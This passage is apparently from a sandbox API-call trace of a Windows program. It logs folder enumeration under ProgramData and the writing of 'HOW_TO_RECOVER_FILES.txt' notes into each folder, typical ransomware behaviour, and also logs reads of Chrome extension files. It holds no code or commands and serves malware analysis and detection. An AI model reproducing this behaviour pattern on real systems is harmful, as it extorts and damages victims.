Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json", lpFilePart=0x0) returned 0x89 [0272.144] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0272.144] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x384d498 | out: lpFileInformation=0x384d498*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x561219ea, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x561240d6, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56c9fbb2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x108)) returned 1 [0272.144] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0272.144] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json", lpFilePart=0x0) returned 0x89 [0272.144] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0272.144] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0272.145] GetFileType (hFile=0x86c) returned 0x1 [0272.145] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0272.145] GetFileType (hFile=0x86c) returned 0x1 [0272.145] GetFileSize (in: hFile=0x86c, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0x108 [0272.145] ReadFile (in: hFile=0x86c, lpBuffer=0x384d958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x384d958*, lpNumberOfBytesRead=0x1f6e7648*=0x108, lpOverlapped=0x0) returned 1 [0272.146] CloseHandle (hObject=0x86c) returned 1 Thread: id = 148 os_tid = 0x784 [0073.685] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0073.686] CoGetContextToken (in: pToken=0x1f9ef790 | out: pToken=0x1f9ef790) returned 0x0 [0073.686] IUnknown:QueryInterface (in: This=0x12e64d0, riid=0x7ff9122eadf8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1f9ef7c8 | out: ppvObject=0x1f9ef7c8*=0x12e64e8) returned 0x0 [0073.686] IComThreadingInfo:GetCurrentThreadType (in: This=0x12e64e8, pThreadType=0x1f9ef838 | out: pThreadType=0x1f9ef838*=0) returned 0x0 [0073.686] IUnknown:Release (This=0x12e64e8) returned 0x0 [0073.686] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0073.686] CoUninitialize () [0073.686] RoInitialize () returned 0x1 [0073.686] RoUninitialize () returned 0x0 [0073.688] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0073.688] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Settings", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Settings", lpFilePart=0x0) returned 0x21 [0073.688] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Settings\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30e3b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0073.689] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30e3b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.689] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30ecb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accounts", cAlternateFileName="")) returned 1 [0073.689] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30ecb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accounts", cAlternateFileName="")) returned 0 [0073.690] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0073.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0073.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0073.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0073.701] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Settings", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Settings", lpFilePart=0x0) returned 0x21 [0073.702] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Settings\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30e3b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0073.702] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30e3b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.702] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30ecb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accounts", cAlternateFileName="")) returned 1 [0073.702] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0073.702] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0073.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0073.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0073.703] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0073.703] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Settings\\Accounts", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Settings\\Accounts", lpFilePart=0x0) returned 0x2a [0073.703] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Settings\\Accounts\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30ecb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0073.706] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30ecb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.706] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30ecb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0073.706] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0073.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0073.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0073.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0073.706] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Settings\\Accounts", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Settings\\Accounts", lpFilePart=0x0) returned 0x2a [0073.706] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Settings\\Accounts\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30ecb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0073.706] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30ecb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.707] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30ecb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0073.707] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0073.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0073.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0073.707] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Settings\\Accounts\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Settings\\Accounts\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x43 [0073.707] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0073.707] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Settings\\Accounts\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\settings\\accounts\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0073.708] GetFileType (hFile=0x768) returned 0x1 [0073.708] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0073.708] GetFileType (hFile=0x768) returned 0x1 [0073.709] WriteFile (in: hFile=0x768, lpBuffer=0x34bb078*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x34bb078*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0073.710] CloseHandle (hObject=0x768) returned 1 [0073.710] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Settings\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Settings\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3a [0073.710] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0073.710] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Settings\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\settings\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0073.711] GetFileType (hFile=0x768) returned 0x1 [0073.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0073.711] GetFileType (hFile=0x768) returned 0x1 [0073.711] WriteFile (in: hFile=0x768, lpBuffer=0x34be8b0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x34be8b0*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0073.712] CloseHandle (hObject=0x768) returned 1 [0073.713] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0073.713] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\SmsRouter", lpFilePart=0x0) returned 0x22 [0073.713] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1dcfea0a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1dcfea0a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0073.713] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1dcfea0a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1dcfea0a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.713] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1dcfea0a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1b408c4a, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x1b408c4a, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessageStore", cAlternateFileName="MESSAG~1")) returned 1 [0073.713] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1dcfea0a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1b408c4a, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x1b408c4a, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessageStore", cAlternateFileName="MESSAG~1")) returned 0 [0073.714] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0073.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0073.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0073.714] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0073.714] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\SmsRouter", lpFilePart=0x0) returned 0x22 [0073.714] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1dcfea0a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1dcfea0a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0073.714] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1dcfea0a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1dcfea0a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.714] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1dcfea0a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1b408c4a, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x1b408c4a, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessageStore", cAlternateFileName="MESSAG~1")) returned 1 [0073.714] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0073.714] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0073.715] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0073.715] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0073.715] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0073.715] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore", lpFilePart=0x0) returned 0x2f [0073.715] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1dcfea0a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1b408c4a, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x1b408c4a, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0073.742] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1dcfea0a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1b408c4a, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x1b408c4a, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.742] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd4ae8d, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dd4ae8d, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1b93f8ea, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb.chk", cAlternateFileName="")) returned 1 [0073.742] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd24c5a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dec862e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1b93f8ea, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb.log", cAlternateFileName="")) returned 1 [0073.743] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd24c5a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dd4ae8d, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1b42ee8a, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb00002.log", cAlternateFileName="")) returned 1 [0073.743] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd4ae8d, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dd4ae8d, ftLastAccessTime.dwHighDateTime=0x1d32743, 